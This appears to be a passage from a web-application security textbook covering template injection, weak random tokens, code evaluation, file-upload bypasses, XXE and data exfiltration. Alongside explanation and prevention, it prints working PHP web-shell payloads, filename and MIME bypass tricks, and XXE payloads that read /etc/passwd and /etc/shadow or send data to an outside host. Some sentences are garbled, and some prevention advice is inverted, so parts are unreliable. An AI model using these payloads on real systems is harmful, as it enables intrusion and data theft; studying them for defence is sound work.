Depending on the template engine and how the application uses it, server-side template injection vulnerabilities can expose websites to a range of attacks. However, these flaws only constitute a genuine security risk in rare instances. On the other hand, server-side template injection can have disastrous consequences most of the time.

At the most end of the scope, an attacker may get complete control of the back-end server and use it to launch further assaults against internal systems.

Even if complete remote code execution is not achievable, an attacker can typically use server-side template injection as a springboard for various additional attacks, giving them read access to sensitive data and arbitrary files on the server.

10.4 Constructing a server-side template injection attack

Detect- The capacity to detect a vulnerability, like any other weakness, is the first step toward exploitation. The most straightforward first step is to fuzz the template by introducing a sequence of special characters widely used in template expressions, such as the *polyglot* *${{<%[%'"}}%*.

We should look for variations between the response with regular data on the parameter and the provided payload to see if the server is vulnerable.

If an error has been thrown, it will be pretty easy to determine that the server is vulnerable and even which engine is functioning. However, if a vulnerable server is expecting the specified payload to be mirrored and it isn't, or if there are any missing chars in the response, it could be exploited.

Identify- The following stage is to identify the template engine after recognizing the template injection potential. Although there are numerous templating languages, many share a standard syntax designed to avoid clashing with HTML characters.

Luckily, the server will be printing the errors, and we will find the engine used inside the mistakes. Some possible payloads that may cause errors:

Exploit
Read

After locating template injection and determining the template engine, the next step is to study the documentation. The 'For Template Authors' sections, which explain basic grammar, is very interesting.

'Security Considerations' - chances are, the person who created the program we're testing didn't read this, and it could include some helpful information.

- Built-in methods, functions, filters, and variables are listed. Extensions/plugins lists, some of which may be enabled by default.

Explore- Assuming no exploits have surfaced, the next step is to investigate the environment to see exactly what we have access to. The template engine will supply default objects and application-specific things put into the template by the developer. Many template systems, for example, supply itself or a namespace object that contains everything in scope and provides an idiomatic way to enumerate an object's attributes and methods.

If there isn't a built-in self-object, we'll have to use *SecLists* and Burp Intruder's wordlist collection to brute-force variable names.

Because developer-supplied objects are likely to include sensitive information and differ between different templates within an application, this procedure should be applied to each template separately.

Attack- At this point, we should have a firm idea of the attack surface available to us and proceed with traditional security audit techniques, reviewing each function for exploitable vulnerabilities. It's essential to approach this in the broader application context - it can use some parts to exploit application-specific features. The examples to follow will use template injection to trigger arbitrary object creation. The random file read/write and includes information disclosure and privilege escalation vulnerabilities.

10.5 Research Findings

Server-side template injection vulnerabilities can reveal websites to attacks that rely on the template machine in question and how the application uses it. In particular rare cases, these vulnerabilities pose no real safety threat. Regardless, most of the time, the effect of server-side template injection can be fatal.

At the end of the ranking, an attacker can potentially reach remote code performance, taking complete control of the back-end server and utilizing it to perform other attacks on inner infrastructure.

Even if complete remote code execution is not achievable, an attacker can often still use server-side template injection as the basis for countless other attacks, potentially achieving read entry to sensitive data and random files on the server.

10.6 Prevention from server-side template injection vulnerabilities

Allowing users to change or submit new templates is the most excellent strategy to avoid server-side template injection. However, due to commercial requirements, this is sometimes unavoidable.

Using a *"logic-less"* template engine, such as Mustache, unless essential, is one of the simplest ways to prevent creating server-side template injection vulnerabilities. Keeping logic and presentation as separate as possible may dramatically limit our exposure to the deadliest template-based attacks.

Another precaution is to run user code only in a sandboxed environment where potentially dangerous modules and functions have been removed entirely. Unfortunately, sandboxing untrusted code is naturally tricky and vulnerable to circumvention. Weak random token generation

Standard pseudo-random number generators cannot ever withstand cryptographic raids.

Uncertain randomness errors happen when a function that can produce predictable values is used as a source of randomness in a security-sensitive context.

Because computers are deterministic machines, they are incapable of producing true randomness. On the other hand, pseudo-Random Number Generators (PRNGs) approximate randomness algorithmically, beginning with a seed calculated from subsequent values.

There are two categories of PRNGs: statistical and cryptographic. Statistical PRNGs provide functional, statistical properties, but their output is highly predictable and forms a very quickly reproducing numeric stream that is unsuitable for use in cases where security depends on generated values being unpredictable. Cryptographic PRNGs address this issue by generating more difficult-to-predict output. Furthermore, for a matter to be cryptographically secure, it must be highly improbable for an external attacker to differentiate between it and a truly random value. Generally, if a PRNG algorithm is not advertised as cryptographically secure, it is most likely a statistical PRNG and should not be utilized in acute conditions.

Examples
The following code creates a URL for an active permit for an extended period after buying using a statistical PRNG-.

```
String GenerateReceiptURL (String baseUrlVar) {
        Random ranGenVar = new Random();//
        ranGenVar .setSeed((new Date()).getTime());//
        return(baseUrlVar+ Gen.nextInt(40000000000) + ".HTML");
}
```

This part of the code performs the *Random.nextInt()* function to create unique identifiers for the user's receipt pages can generate. One of the main issues is the *Random.nextInt()* is a statistical PRNG, which makes it easy for a hacker to observe the strings it creates. Though the underlying design of the receipt system is also inappropriate, it would be secure solid if it used a random number creator that did not deliver predictable receipt identifiers, such as a cryptographic PRNG.

The following code uses Java's *SecureRandom* class to generate a cryptographically strong pseudo-random number *(DO THIS):*

```
public static int generateRandom(int maximumValue) {
         SecureRandom ranGen = new SecureRandom();
        return ranGen.nextInt(maximumValue);
}
```

Attack- An attack would work as follows:

Call *BuildRandom* by requesting a URL that employs this function and keeping track of when we did so. This sets the random number generator to the current time, which we have a good idea of.
Make a token request.

A CSRF token or a session token, both of which are returned on a request to the home page, are good candidates.

Loop with many seeds corresponding to the time of the first request until the same token as in the second request is generated.

We can now predict or imagine any future mt rand output, so we know a large portion of each hash generated on the server. The only parts that remain unknown are the individual parts.

The above process takes nothing less than a second. First, proofing a concept cracks the token used for password modification or reset. Then, when it requests a password reset or conversion, a validation link with a receipt is mailed to the user. This token is made with *BuildHash*, so we know a big part of this token is cracking the random number generator and easily resetting the password.

Insufficient Entropy for Random Values- Random values are everywhere in PHP. They are used in all frameworks and many libraries, and we probably have tons of code relying on them to generate tokens, salts, and inputs into other functions. Thus, random values are essential for a wide variety of use cases.

- To choose possibilities at random from a pool or range of available options.
- To create encryption initialization vectors.
- To generate unguessable tokens or nonces for authorization purposes.
- To generate unique identifiers like Session IDs.

Each has its problems of its own. Consider the case where an attacker can estimate or predict our Random Number Generator (RNG) or Pseudo-Random Number Generator (PRNG). In that case, they will correctly guess the tokens, salts, nonces, and cryptographic initialization vectors created using that generator and generate high quality, i.e., tough to imagine, random values. Permitting password reset tokens, CSRF tokens, API keys, nonces, and authorization tokens to be predictable is not the best of ideas!

The two possible susceptibilities linked to random values in PHP are:

- Information Disclosure
- Insufficient Entropy

Information Exposure, in this context, refers to the leaking of the internal state, or seed value, of a PRNG. Leaks of this type can make forecasting future output from the PRNG in use much more accessible. Insufficient entropy refers to the initial internal state or seed of a PRNG being so limited that it or the PRNG's actual output is restricted to a more easily brute forcible range of possible values. Neither is good news for PHP programmers.

What makes a random value strong is the entropy used to generate it. The more uncertain binary bits we use, the better. If we're using a *"random value"* for a non-trivial purpose, we should gravitate towards using much stronger RNGs.

11. Remote Code Execution

11.1 Introduction

Remote code execution (RCE) is a kind of software protection weaknesses/vulnerability. RCE vulnerabilities will permit a malicious actor to run any code of their selection on a remote device over LAN, WAN, or the internet. RCE belongs to the more general class of arbitrary code execution (ACE) susceptibilities. With the internet becoming universal, RCE vulnerabilities' effect increases rapidly. So, RCEs are now likely the most significant kind of ACE vulnerability.

As that's the case, we liked to take a more detailed look at the various types of RCE vulnerabilities and the possible countermeasures.

Remote Code Execution Exploits infect devices by executing code invisibly to the user without requiring human intervention. The efficiency of several proactive exploit mitigation strategies in popular endpoint security products and specialized anti-exploit tools is examined in this comparative study. The study exploits popular Windows XP SP3 with Internet Explorer (IE8).

All exploit mitigation solutions use Microsoft's Enhanced Mitigation Experience Toolkit (MS-EMET). By isolating measurements of safeguards in common with *MS-Emet*, the study evaluates the effectiveness of endpoint security products and anti-exploit technologies.

11.2 Literature Review

In recent years IT security breaches are essentially making issues to clients, governments, societies, and companies. In current regular information, losing and stealing millions of dollars through different cyber-attacks is a standard view. However, a sufficient number of investigations have been conducted on cyber-attack and web vulnerabilities. But now, we need to think of new approaches to reducing the damage caused by threats, malware, cybercriminals, etc.

A case study was conducted on different types of SQLi vulnerabilities where 359 Bangladeshi educational websites were examined, and 86% of websites are found SQLi vulnerability. [74] A case analysis executed on different types of XSS vulnerabilities is store approach, reflected based and DOM-based of XSS where 500 data sets are examined, and 75% web application are found CSRF vulnerability and 65% are discovered XSS vulnerability both are 40% vulnerability among 335 vulnerable web application. [75] A paper conducted a workshop on applying Root Cause Analysis (RCA) in session Managing. It destroyed authentication vulnerability where 11 root reasons of session managing vulnerabilities and nine root causes of broken authentication vulnerabilities. The work aims to identify source reasons of Session Management and Broken Authentication Vulnerabilities and resolutions that shall minimize the duplication of these vulnerabilities in web applications [76]. Discussed in detail five exploitation techniques of Broken Authentication and Session Management vulnerability in web applications of Bangladesh. The authors found that 65% of websites were vulnerable among 267 of Bangladesh's people and personal domain and defined some approaches to prevent this vulnerability. [77] Research Identify the importance of the elements that impact the success rate

of distant random code implementation attacks on servers and customers. The success rates of attacks are between 15 and 67 percent for server-side attacks and between 43 and 67 percent for client-side attacks. [78] A case study concentrated on 153 (LFI) vulnerable web applications for displaying the effect of (RFI) & (SQLi) based (LFI) vulnerability on Bangladeshi web applications. [79]. A report suggested architecture and a method for providing the security of cookies. The offered method capsules the cookies containing encrypted internal cookies and others is Integrity Cookie Digit (ICD), which includes integrity cookie service. [80] A survey was found on web application vulnerability detection tools, i.e., Nessus, Acunetics, and Zed Attack Proxy (ZAP) vulnerability detection tools, to compare the accuracy with each other's and the manual penetration testing method [81]. A paper was conducted on Cross-Site Scripting (XSS) detection, implemented on getting and POST-based methods. This work aims to prevent store-based XSS, reflected XSS, and DOM-based XSS. This analysis recommended that Secure Sockets Layer (SSL) ensure the security between client and server-side [82]. This proposed work on detecting Cross-Site Scripting (XSS) attack using Intrusion Detection System (IDS). The XSS attack detection is utilized of data packet signature and compares every packet to the predefined rule. This analysis proposed a SAISON model, an automated LFI vulnerability detection tool. This tool was examined on $_GET based 256 web applications of four different sectors and able to identify 113 vulnerabilities that show 88% accuracy of the device [83]. A path and context-sensitive inter-procedural analysis model algorithm was proposed to detect RCE vulnerability in a PHP-based platform automatically. The prototype examined ten real-world PHP applications that have identified 21 actual RCE vulnerabilities [84]. A paper conducted work on a phishing attack implemented in twelve countries. The objective of the work is to prevent detecting cyber breaches and respond to the e-awareness [85]. Another study found RCE vulnerability on Basilic software has a security hole. This problem is raised from line 39 in a PHP file (Diff.php) on the “config” folder. The escape shelling() method help to prevent RCE vulnerability through filtering special characters [78]. A study on RCE exploitation of popular applications running on Windows XP SP3 with Internet Explorer (IE8). The Microsoft Enhanced Mitigation Experience Toolkit (MS-EMET) is used for figuring out the exploit mitigation solutions. They examined 58 variants of 21 known exploits to test 12 endpoint security products and anti-exploit tools. The Microsoft MS-EMET and third-party anti-exploit product showed the best performance by blocking 93% of all exploits considered [86].

11.3 Code Evaluation Exploitation

We want to dynamically develop variable names for every user and store its signup date. This is how it could be accomplished in PHP:

```
eval("\$$user = '$signupdate');
```

Since the username is typically user-controlled input, a hacker can generate a name like this-

```
x = 'y';  phpinfo();//
As a result php code would now look like this:

$x = 'y';phpinfo();// = '2016';
```

The variable is currently called x and has the worth y after the attacker assigns that value by creating a new command using the semicolon (;). It can now remark out the remains of the string, so it doesn't get syntax errors. If it performs this code, the output of *phpinfo* will occur on the page. It would help if we held that this is possible in PHP and any other language with functions that assess input.

Explanation and Example of Stored Remote Code Evaluation

Unlike the above example, this process does not rely on any explicit language function, but the interpreter parses specific files. An example of this would be a configuration file included in a web application. Ideally, we should bypass using user input inside files performed by an interpreter, leading to undesirable and risky behavior. This exploit technique is often seen in mix with an upload functionality that does not do adequate checks on file types and attachments.

Example of Stored Code Evaluation Exploitation

When developing a web application that has a managing panel for every user. The management panel has some user-specific settings, such as the language variable, which is set relying on a parameter and stored inside a configuration file. An expected *input(I/O)* can be such as-

?language=de..

The above will then be affected as $lan = 'de'; inside the configuration file of application.

Though an attacker could now modify the language parameter to
which is like this-

de..';phpinfo()//

The above can result in the following code in the file.

$lan = 'de..';phpinfo()//';

And the above will be performed when the configuration file is included in the web application, allowing the attackers to execute/operate any command they want.

11.4 Impacts of the Remote Code Evaluation Vulnerability

An attacker who can execute such a flaw can usually execute commands with the privileges of the programming language or the webserver. The attacker can issue system commands in many languages, write, delete or read files, or connect to databases.

11.5 Causes to Should NOT Do to Prevent Remote Code Evaluation

Sanitize user input; this is usually not possible due to many possible bypasses of restrictions.

Allow a client to choose the expansion or content of documents on the webserver and utilize safe practices for secure record transfers.

Pass any client-controlled contribution inside assessment capacities or callbacks.

Remote code execution is the most common and pernicious outcome of Insecure Deserialization. RASPs encase our application to prevent it from being executed remotely.

11.6 Research Findings

Remote code execution (RCE) attacks allow an attacker to execute malicious code on a computer remotely. The impact of an RCE vulnerability can range from malware execution to an attacker gaining complete control over a compromised machine.

11.7 Prevention of Remote Code Evaluation

We should bypass using user information inside considered code as a rule of thumb. The best option would be not to use functions such as eval at all. It is regarded as a bad practice and can more often than not be avoided entirely. We should also never let a user edit the content of files that the stability of the individual language parse. That includes not allowing users to decide the names and extensions of files they might upload or create in the web application.

12. File Upload Limits and File Extension Filters

12.1 Introduction

Users can upload files, photos, songs, videos, and other media to dynamic websites. Users can upload profile photographs and resumes to sites like Facebook and LinkedIn. File uploading is critical for many web applications, but it poses a significant security risk if appropriate security controls are not in place.

In this point, there are two kinds of cases. The first is file metadata, such as the file's path and name. These are usually provided by the transport, such as HTTP multi-part encoding. However, this information could lead to the application overwriting or saving a critical file in an incorrect location. As a result, the metadata must be thoroughly checked before being used.

The other type of issue is file size or content. The variety of the problems here is dependent on the file's intended usage. See the criteria below for some examples of how files could be misused. To defend against this attack, examine everything our program does with files and consider which processing and interpreters are involved.

12.2 Bypassing file upload restrictions and file extension filters.

How to add or limit the types of files and extensions that we can upload from WordPress. WordPress is configured by default. We can upload image files, PDFs, Word, Pages, OpenOffice, audio, midi, and video files to the server from the administration area. This is the list of mainly used file extensions that it accepts if we have not made any modifications:

Files allowed in WordPress:

- Images: jpeg, jpg, png, gif, BMP, tiff, PSD
- Documents: txt, CSV, ics, rtx, CSS, js, HTML, pdf, doc, docx, ppt, ppt, xls, xlsx, pptx, odt, numbers, pages
- Audio: mp3, m4a, wav, ogg, midi
- Video: wmv, avi, divx, flv, mov, mpeg, mp4, ogv, mkv, 3gp
- Compressed files: tar, zip, gzip, RAR, 7z

In addition to WordPress constraints, there may be hosting provider limitations, such as not allowing specific extensions or limiting the size of the files that we can upload, to improve security and prevent potentially dangerous items from being uploaded to the server.

When the user tries to upload a file that is not on this list, an error message appears: "There has been an error when uploading" file-name. "Forgive, for security reasons, this type of file is not allowed."

To avoid or get this error to appear, expand, replace or limit the list easily according to the project's needs.

12.3 Bypassing Blacklists

In *blocklisting*, specific extensions are explicitly prohibited from uploading to the server. This might seem like an optimal solution to protect our server from getting infected, but it is possible to bypass certain conditions.

File Extensions

Developers may block specific file extensions and prevent users from uploading those files that are considered dangerous for the server. But this can be bypassed by changing some strings in extensions to upload and execute payload or web.

Type	Extensions
PHP	.pht, phtml, .php, .php3, .php4, .php5, .php6, .inc
JSP	.jsp, .jspx, .jsw, .jsv, and .jspf
Perl	.pl, .pm, .cgi, .lib
Asp	asp, .aspx
ColdFusion	.cfm, cfml, .cfc, .dbm

In some cases changing extensions might not do the trick; instead, we have to do like,

.pHp, .Php, .phP

12.4 Bypassing Whitelists

We can allow the list where the server takes specific extensions. For example, we have to upload a profile image that might take JPG, JPEG, or PNG files.

Apache permits files to be uploaded with dual extensions. At that point, we can trick the server into receiving a shell that also has a PNG extension in the end.

shell.php.png
shell.php%00.png
shell.php\x00.jpg

Another method to bypass listing is to manipulate file-type headers.

If a particular website accepts images, that will also accept GIF images. We can add GIF89a to trick the server into uploading shell.

```
GIF89a; <?php system($_GET['cmd']); ?>
GIF89a;
<?
        system($_GET['cmd']); # shellcode goes here
?>
```

EXIF Data

This method allows us to bypass file upload restrictions by utilizing EXIF data in an image. Inserting a comment that contains PHP code will be executed by the server when an image is processed.

We can do this with gimp or *ExifTool*
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' file.png
mv image.jpg image.php.png

MIME-type
Blocklisting MIME types is even a mode of file upload verification. May bypassed by blocking the POST request on the way to the server and changing the MIME type.

Standard PHP MIME type:
Content-type: application/x-php

Replace with
Content-type: image/jpeg

Different Bypassing Techniques

Content length can also cause an upset to validate uploaded files in some situations. For that, the PHP shell command can be shortened like this,

<?='$_GET[x]'?>

12.5 Preventing Unrestricted File Uploads

Developers can prevent unrestricted file uploads and reduce the likelihood of an attacker bypassing restrictions. The directory where the uploads are stored should have no executed permissions. The name should be changed after a file uploads, ideally to a hash that cannot guess.

13. XML External Entity (XXE) Injection

13.1 Introduction

The XML injection is that the software does not respond appropriately, filtering special characters or reserved words used in XML, allowing attackers to modify the syntax, content, or commands before it is processed for the final system.

There are various types of XXE attacks:

- We use XXE to obtain files by defining an external object containing a file's contents and returning it in the application's response.
- Using XXE to launch SSRF attacks, an external entity is defined based on a back-end system's URL.
- We are using blind XXE to exfiltrate data out-of-band, where sensitive information is sent from the application server to a system controlled by the attacker.
- We are using blind XXE to retrieve data via error messages, where the attacker can cause a parsing error message containing sensitive data to be sent out.

13.2 Literature Review

An external XML entity accesses regional. They are proper for reusing a standard reference between multiple documents. External entities determined by the keyword SYSTEM are generally private and planned to use a few people. In contrast, external entities defined by the keyword PUBLIC are considered general and are intended to be used by multiple. Here is an example of an individual external entity [88]:

Example 1.3

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
        <!ELEMENT message (text)>
        <!ATTLIST message font CDATA "Arial">
        <!ELEMENT text (#PCDATA)>
        <!ENTITY hw SYSTEM
        "https://raw.githubusercontent.com/hoguer/xxe_play/master/helloworld.txt">
]>
<message font="Times New Roman">
<text>&hw;</text>
</message>
```

The entities presented so far are public entities. Another type of entity is called a parameter entity, which may be used only within a DTD. Consider the following: the message element is a regular parameter entity, and the *message-attr* is an external parameter entity. Note that references to parameter entities begin with a percent symbol *(%)* and end with a semicolon (;):

Example 1.4

```
<?xml version="1.0" encoding="utf-8"?>
```

```
<!DOCTYPE message [
        <!ENTITY % message-element "<!ELEMENT message (text)>">
        <!ENTITY % message-attr SYSTEM
        "https://raw.githubusercontent.com/hoguer/xxe_play/master/message-attr.txt">
        %message-element;
        %message-attr;
        <!ELEMENT text (#PCDATA)>
]>
<message font="Times New Roman">
<text>Hello, World!</text>
</message>
```

13.3 XXE vulnerabilities happening

Some applications use the XML format to transfer data between the browser and the server. Applications that do this virtually always use a standard library or platform API to process the XML data on the server. XXE vulnerabilities occur because the XML specification has mixed potentially risky features, and standard parsers sustain these components even if the application does not commonly use them.

XML external entities are custom XML entities whose specified values are loaded from outside the DTD in which they are declared. External entities are desirable from a security perspective because they permit an entity to be defined based on the contents of a file path or URL.

Threat Characteristics

1. The application parses XML documents.
2. Dirty data is permitted within the system identifier part of the entity, within the document type declaration (DTD).
3. The XML processor is configured to validate and process the DTD.
4. The XML processor is configured to determine external entities within the DTD.

Examples are given below-
Basic XML Example

```
<!--?xml version="1.0" ?-->
<userInfo>
        <firstName>John</firstName>
        <lastName>Doe</lastName>
</userInfo>
```

XXE: Entity Example

```
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
 <userInfo>
        <firstName>John</firstName>
        <lastName>&example;</lastName>
```

```
</userInfo>
```

XXE: File Disclosure

```
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]>
<userInfo>
        <firstName>John</firstName>
         <lastName>&ent;</lastName>
</userInfo>
```

XXE: Denial-of-Service Example

```
<!--?xml version="1.0" ?-->
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
        <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
        <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
        <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
        <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
        <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
        <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
        <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
        <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
        <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<tag>&lol9;</tag>
```

XXE: Local File Inclusion Example

```
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
```

XXE: Blind Local File Inclusion Example (When first case doesn't return anything.)

```
<?xml version="1.0"?>
<!DOCTYPE foo [
        <!ELEMENT foo (#ANY)>
        <!ENTITY % xxe SYSTEM "file:///etc/passwd">
        <!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">
]><foo>&blind;</foo>
```

XXE: Access Control Bypass (Loading Restricted Resources — PHP example)

```
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-
encode/resource=http://example.com/viewlog.php">]>
<foo><result>&ac;</result></foo>
```

XXE:SSRF (Server Side Request Forgery) Example

```
<?xml version="1.0"?>
        <!DOCTYPE foo [
        <!ELEMENT foo (#ANY)>
        <!ENTITY xxe SYSTEM "https://www.example.com/text.txt">
]><foo>&xxe;</foo>
```

XXE: (Remote Attack — Through External Xml Inclusion) Example

```
<?xml version="1.0"?>
<!DOCTYPE lolz [
        <!ENTITY test SYSTEM "https://example.com/entity1.xml">
]>
<lolz><lol>3..2..1...&test<lol></lolz>
```

XXE: UTF-7 Example

```
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
```

XXE: Base64 Encoded

```
<!DOCTYPE test [ <!ENTITY % init SYSTEM
"data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
```

XXE: XXE inside SOAP Example

```
<soap:Body>
  <foo>
        <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/">
        %dtd;]><xxx/>]]>
  </foo>
</soap:Body>
```

XXE: XXE inside SVG

```
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
   <image xlink:href="expect://ls"></image>
</svg>
```

13.4 Research Findings

Attack externals for XXE injection vulnerabilities are apparent in many cases because the application's standard HTTP traffic encloses appeals, including XML data. In other issues, the attack cover is less visual. Regardless, if we look in the right areas, we will find XXE attack surfaces in appeals that do not include any XML.

13.5 Prevention of XML External Entity (XXE) Injection

When there is an incoming request, WAF examines the first 512 bytes of the XML payload for any discrepancies in the content-type header and the content type of the payload.

If the content types match, XML XXE protection is enabled and applied on the HTTP request.

However, the request is blocked, deleted, or logged based on the configured action if the content-type header does not match the body content type.

We can enable logging to generate log messages. We can monitor the logs to determine if responses to legitimate requests are blocked. A significant increase in log messages may indicate attempts to launch an attack.

We can also enable the statistics function to collect data on violations and logs. For example, an unexpected increase in the stat counter could indicate that our application is under attack.

Configure XML External Entity Injection Protection (XXE)

Using the command interface, configure checking for XML external entities (XXE): To configure XXE settings, use the command-line interface to add or edit the application firewall profile command. The lock, log, and statistics actions can all be turned on.

Configure XXE Injection Check Using the Citrix ADC GUI. Steps to configure the XXE injection check.

Go to security> Citrix Web App Firewall> Profiles.

On the Profiles page, select a profile and click Modify.

On the Citrix Web App Firewall Profile page, go to the Advanced Settings section and click Security Checks.

In the Security Checks section, select Infer XML Content-Type Payload and click Action Settings.

On the Infer XML Payload Configuration from the Content-Type page, set the following parameters:

Actions. Select one or more activities for the XXE injection safety check.
Click OK.

Viewing XXE Injection Statistics Using the Citrix ADC GUI
Complete the following steps to view XXE injection statistics:

Go to security> Citrix Web App Firewall> Profiles.
Select a Web App Firewall to profile and click Statistics in the details pane.

The Citrix Web App Firewall Statistics page displays the XXE command injection traffic and the violation.

We can choose Tabular View or switch to Graphical View to display the data in tabular or graphical format.

14. Data Exfiltration

14.1 Introduction

The unlawful copying, transferring, or retrieving of data from a computer or server is known as data exfiltration. Data exfiltration is a hostile activity by hackers using various tactics over the internet or another network. Infiltration, also known as data extrusion, data export, or data theft, transfers data from one computer to another.

Several independent reports published by three security companies analyze the technique of data exfiltration on compromised eCommerce sites and its use to steal personal information and credit card numbers.

Generally, online businesses do not store customer payment details in their databases after use but are discarded after charges are made. For this reason, after compromising an online store's website, cybercriminals find more value by implanting code that exfiltrates the bank details of future customers to a site under their control.

According to investigations by PerimeterX, Kaspersky and Sansec, cybercriminals are using Google Analytics to extract the information collected, bypassing modern browser security measures such as CSP (Content Security Policy).

14.2 Literature Review

The discoveries from our study do not overlay with the results from the current reviews. Unlike [87], [88], [89], and [90], which document the challenges encountered by data leakage prevention techniques, our review does not report any obstacles; instead, it conveys the data exfiltration attack vectors. Similar to [87] and [88], our study also shows a classification of the countermeasures; however, our criteria and the resulting type are quite different from the categories presented in [87] and [88]. The classification given in [88] is based on multiple criteria, including data state, deployment scheme, leakage detection and prevention technique, and remedial actions. This classification overlaps with our category to a certain degree. However, our type is based on a single criterion (the method employed), enabling us to present an in-depth classification of countermeasures into four levels, unlike the two-level type offered in [88]. Similarly, the class in [87] is relatively shallow and categorizes the countermeasures into high-level categories (two-level classification).

Some other features of our review, which are skipping in related studies, include investigative countermeasures, mapping of countermeasures to attack vectors, and mapping of countermeasures to data forms. The open research challenges recognized in our review differ, especially from the research areas or suggestions supplied in other related thoughts. [88] and [91] identify unexpected data leakage and leakage of data from mobile devices as prospective research areas. These research challenges derive from insider action and the mobile domain covered in [88] and [91], which are outside the scope of our review. The articles [87] and [89] identify specific techniques such as text clustering, social web research, fingerprinting, and term weighting that are also possible to adopt in future research in DLPs. Unlike [87] and [89], the

future research challenges presented in our review connects to the quality and evaluation of the countermeasures.

14.3 Data Exfiltration Strategy

The CSP (Content Security Policy) comprises a series of headers that allow the administrator of a website to control the resources to which the browser has access. It is implemented in the main modern browsers, and its use on websites is growing day by day.

One of the parameters that can be managed is which indicates which addresses can be contacted from the page code. In the case at hand, the cybercriminal is interested in having it sent to a server under his control after accessing user information. If the merchant has configured the CSP properly, this connection would be rejected.

Google analytics

Google Analytics is one of the central web traffic monitoring and analysis tools. Every time a user visits a page or takes any action, this information is transmitted to Google's servers, where the site owner can analyze it.

That is why Google Analytics servers can generate usage statistics on sites implementing CSP. But unfortunately, this is where cybercriminals take advantage of this gap in security policies to send the information collected from users to their Google Analytics environments.

By sending encrypted events to the attacker's Google Analytics account, the service becomes a repository of credentials, card numbers, or any other type of data of interest to the attacker.

The following are examples of shared data exfiltration kinds and cyber-attack strategies.

1. Social engineering and phishing assaults are common network attack vectors that deceive victims into installing malware and handing over their account information.
2. Outbound Emails Cybercriminals exploit outbound email systems to steal calendars, databases, photos, and planning papers. Additionally, email and text messages and file attachments can steal data from email systems.
3. Downloads to Insecure Devices This data exfiltration method is a typical type of insider threat. The malicious actor has access to crucial corporate information on their trusted device, which they subsequently move to an insecure device.
4. Uploads to External Devices Malicious insiders are usually responsible for this form of data exfiltration. An inside attacker can exfiltrate data by downloading information from a secure device and uploading it to an external device. For example, a laptop, smartphone, tablet, or thumb drive could be used as an external device.
5. Human Error and Unsecured Behavior in the Cloud offers many benefits to consumers and enterprises and has significant data exfiltration dangers.

14.4 Research Findings

Usually, data exfiltration is performed by hackers when techniques trust vendor-set, standard, or easy-to-crack passwords. Statistically, these plans are the ones that generally suffer from data exfiltration. Hackers gain entry to target devices via remote applications or by establishing a removable media machine in matters where they have physical access to the target machine.

APTs (Advanced Persistent Threats) are one form of cyber-attack in which data exfiltration is often an initial goal. APTs consistently and aggressively target firms or organizations to access or steal limited data. The objective of an APT is to gain access to a network but remain hidden as it stealthily aims out the most useful or target data, such as business secrets, brilliant property, financial statements, or exposed client data.

APTs may depend on social engineering methods or phishing emails with contextually appropriate content to influence a company's users to inadvertently open notes containing malicious scripts, which can later install more malware on the company's web. Following this exploit is a data finding stage, during which hackers rely on data collection and monitoring tools to specify the target data. Once the desired data and assets are uncovered, data exfiltration methods share the data.

When cybercriminals successfully carry out data exfiltration, they may use the recently obtained data to harm our company's reputation for economic growth or sabotage.

14.5 Prevention of Data Exfiltration

1. Blocking illegal communication routes: Some strands of malware employ external communication channels to exfiltrate data. As a result, any unapproved communication methods, such as direct and potentially hacked applications, must be blocked.
2. Companies must prevent users from entering their login credentials onto faked websites due to the popularity of phishing attempts. Keystroke logging, which allows an attacker to watch and log a user's keyboard activities, can also be blocked by prevention technologies.
3. Maintaining user experience: Data exfiltration prevention must not negatively impact user behavior. As a result, enterprises should utilize techniques to recognize legal application and communication activities, even new applications.
4. User education is also crucial in detecting data exfiltration since it informs users about the risks and threats they face. Organizations must ensure that staff is aware of the warning indications of a cyber-attack, that they do not open malicious attachments, and that they do not click on links in emails.

15. PHP Programmer Juggles with Sloppy Comparisons.

15.1 Introduction

When using the "==" operator, PHP attempts something called loose comparison (or *'type juggling'* With available comparison, it's possible for a developer to compare values even if they have a different data type, such as integers and strings. Comparing a line to an integer is a little bit like comparing apples and oranges.

15. 2 Steps to protect ourselves from remote code execution

Microsoft has been battling web browser vulnerabilities by implementing a systematic method to eliminate all flaws. The first approach is to think like a hacker and determine how to exploit the weaknesses. This gives us more control and will also help us protect the attack better. Next, vulnerability classes are eliminated by reducing the attack surface and detecting specific mitigation patterns.

15.3 Break the techniques and contain the damage

